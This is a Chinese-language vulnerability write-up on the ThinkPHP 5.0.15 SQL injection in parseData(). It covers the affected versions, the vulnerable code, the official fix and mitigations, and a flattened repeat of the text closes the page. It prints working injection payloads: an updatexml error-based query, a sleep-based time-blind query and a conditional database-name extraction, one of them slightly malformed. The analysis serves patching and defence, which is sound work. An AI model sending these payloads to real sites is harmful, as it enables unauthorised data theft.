Thinkphp 5.0.15 SQL注入漏洞挖掘分析
字数 905 2025-08-06 08:35:25

ThinkPHP 5.0.15 SQL注入漏洞分析报告

漏洞概述

ThinkPHP 5.0.15版本存在SQL注入漏洞,影响范围为5.0.13<=ThinkPHP<=5.0.15以及5.1.0<=ThinkPHP<=5.1.5。该漏洞源于框架对inc/dec/exp操作的数据处理不当,导致攻击者可以通过构造特殊输入实现SQL注入。

漏洞原理分析

漏洞触发点

漏洞核心位于library/think/db/Builder.php文件中的parseData()方法,该方法在处理inc/dec/exp操作时存在安全缺陷。

关键代码分析

protected function parseData($data, $options) {
    // ...
    if (is_array($val) && !empty($val)) {
        switch ($val[0]) {
            case 'exp':
                $result[$item] = $val[1];
                break;
            case 'inc':
                $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                break;
            case 'dec':
                $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                break;
        }
    }
    // ...
}

漏洞利用链

  1. 用户输入通过框架的insert/update方法传入
  2. 数据传递到Builder类的insert/update方法
  3. Builder类调用parseData方法处理数据
  4. parseData方法对inc/dec/exp操作的数据直接拼接SQL语句,未进行充分过滤

漏洞利用条件

  1. 应用程序使用受影响版本的ThinkPHP框架
  2. 存在接收数组输入的功能点
  3. 输入数据会传递到数据库操作中

漏洞利用方法

基本Payload

public/index.php/index/index/?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1

报错注入示例

$user->username = input('post.username/a'); // 必须使用/a修饰符接收数组

Payload构造:

username[0]=inc&username[1]=updatexml(0x7e,user(),0x7e)&username[2]=1

时间盲注示例

?username[0]=inc&username[1]=sleep(5)&username[2]=1

或更精确的条件判断:

?username[0]=inc&username[1]=If(ascii(substr(database(),1,1))=115,1,sleep(3))&username[2]=1

漏洞修复方案

官方修复方式

ThinkPHP 5.0.16版本中修复了该漏洞,修复代码如下:

case 'inc':
    if ($key == $val[1]) {                           
        $result[$item] = $item . '+' . floatval($val[2]);
    }

修复原理:增加了判断条件,要求输入的val[1]必须和数据库字段值相等才能进行SQL拼接。

临时修复建议

  1. 升级到ThinkPHP最新版本
  2. 对用户输入进行严格过滤
  3. 避免直接使用数组接收用户输入

漏洞验证方法

  1. 搭建受影响版本的ThinkPHP环境
  2. 创建一个接收数组输入的控制器方法
  3. 构造特殊Payload进行测试
  4. 观察数据库响应或错误信息

技术细节补充

inc/dec/exp操作说明

  • inc:字段递增操作

    Db::table('think_user')->where('id', 1)->setInc('score');
    
  • dec:字段递减操作

    Db::table('think_user')->where('id', 1)->setDec('score');
    
  • exp:表达式查询

    where('id','exp',' IN (1,3,8) ');
    

漏洞利用限制

  1. 需要应用程序使用数组接收输入
  2. 在常规开发场景中较少直接使用数组接收用户输入
  3. 需要找到将用户输入直接传递到数据库操作的功能点

参考链接

ThinkPHP 5.0.15 SQL注入漏洞分析报告 漏洞概述 ThinkPHP 5.0.15版本存在SQL注入漏洞,影响范围为5.0.13<=ThinkPHP<=5.0.15以及5.1.0<=ThinkPHP <=5.1.5。该漏洞源于框架对inc/dec/exp操作的数据处理不当,导致攻击者可以通过构造特殊输入实现SQL注入。 漏洞原理分析 漏洞触发点 漏洞核心位于 library/think/db/Builder.php 文件中的 parseData() 方法,该方法在处理inc/dec/exp操作时存在安全缺陷。 关键代码分析 漏洞利用链 用户输入通过框架的insert/update方法传入 数据传递到Builder类的insert/update方法 Builder类调用parseData方法处理数据 parseData方法对inc/dec/exp操作的数据直接拼接SQL语句,未进行充分过滤 漏洞利用条件 应用程序使用受影响版本的ThinkPHP框架 存在接收数组输入的功能点 输入数据会传递到数据库操作中 漏洞利用方法 基本Payload 报错注入示例 Payload构造: 时间盲注示例 或更精确的条件判断: 漏洞修复方案 官方修复方式 ThinkPHP 5.0.16版本中修复了该漏洞,修复代码如下: 修复原理:增加了判断条件,要求输入的val[ 1 ]必须和数据库字段值相等才能进行SQL拼接。 临时修复建议 升级到ThinkPHP最新版本 对用户输入进行严格过滤 避免直接使用数组接收用户输入 漏洞验证方法 搭建受影响版本的ThinkPHP环境 创建一个接收数组输入的控制器方法 构造特殊Payload进行测试 观察数据库响应或错误信息 技术细节补充 inc/dec/exp操作说明 inc :字段递增操作 dec :字段递减操作 exp :表达式查询 漏洞利用限制 需要应用程序使用数组接收输入 在常规开发场景中较少直接使用数组接收用户输入 需要找到将用户输入直接传递到数据库操作的功能点 参考链接 ThinkPHP5漏洞分析之SQL注入1 ThinkPHP官方安全更新公告